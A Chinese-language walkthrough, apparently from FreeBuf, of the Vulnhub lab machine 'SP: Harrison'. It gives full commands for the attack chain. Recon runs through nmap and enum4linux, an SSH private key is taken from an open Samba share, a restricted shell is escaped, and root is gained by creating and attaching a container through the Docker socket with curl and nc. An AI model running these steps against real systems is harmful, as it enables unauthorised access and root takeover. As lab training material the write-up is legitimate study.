官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
Vulnhub下载地址:
https://www.vulnhub.com/entry/sp-harrison,302/
0x01 环境介绍
攻击机:192.168.10.137
靶机:192.168.10.135
0x02 信息收集
利用nmap对靶机进行端口扫描
nmap -A 192.168.10.0/24
可以发现存在22、445端口
445端口运行Samba服务(Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源)
使用enum4linux对445端口进行信息收集
enum4linux 192.168.10.135
可以发现存在一个共享文件夹Private
0x03 检测
利用smbclient -L 192.168.10.135
查看服务端分享出来的资源
0x04 利用
直接使用smbclient //192.168.10.135/Private
smbclient可像ftp一样使用
看了看flag.txt,好家伙没啥东西,就想到ssh的RSA免密登录,进入.ssh文件夹下,发现有3份文件,利用get命令都下下来get id_rsa
然后直接利用ssh [email protected] -i id_rsa
进行登录,发现不行,原来是权限问题
修改权限后再次连接,OK
利用echo && 'bash'
进入交互界面
echo 输出
&&与逻辑
前面命令成功继续执行后面的所以shell就成功了
然后在/root下发现flag.txt文件,发现还是打不开,不过这显示管理员有执行权限,尝试提权。
参考了其他文章后才发现要利用dokcer提权
查看运行的docker容器信息
curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
证明有就行
创建新的docker容器
echo -e '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}' > container.json
其中主要是将root文件挂载到docker容器的os_root下
查看并启动创建的docker容器
查看创建容器的信息
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
启动容器
这儿容器名要注意,和上图查看信息有关curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/34b3/start
利用nc访问容器
利用nc -U /var/run/docker.sock
进行连接
然后输入POST /containers/34b3/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
然后访问刚刚挂载在docker上的os_root文件夹的flag文件
0x05 总结(个人观点,仅供参考)
1、端口挂载的服务可能不一样,但是利用方式值得思考,自己需要总结一下利用方法等
2、对于docker容器不熟悉,还是通过国外的大佬才成功复现的,这个需要值得深思
3、虽然是将root文件挂载到docker的os_root文件夹下,相当于cp操作,但会是真正的docker提权吗,包括docker逃逸,自己确实不足之处太多太多
4、学习到了enum4linux、smbclient、RSA登录SSH的使用方法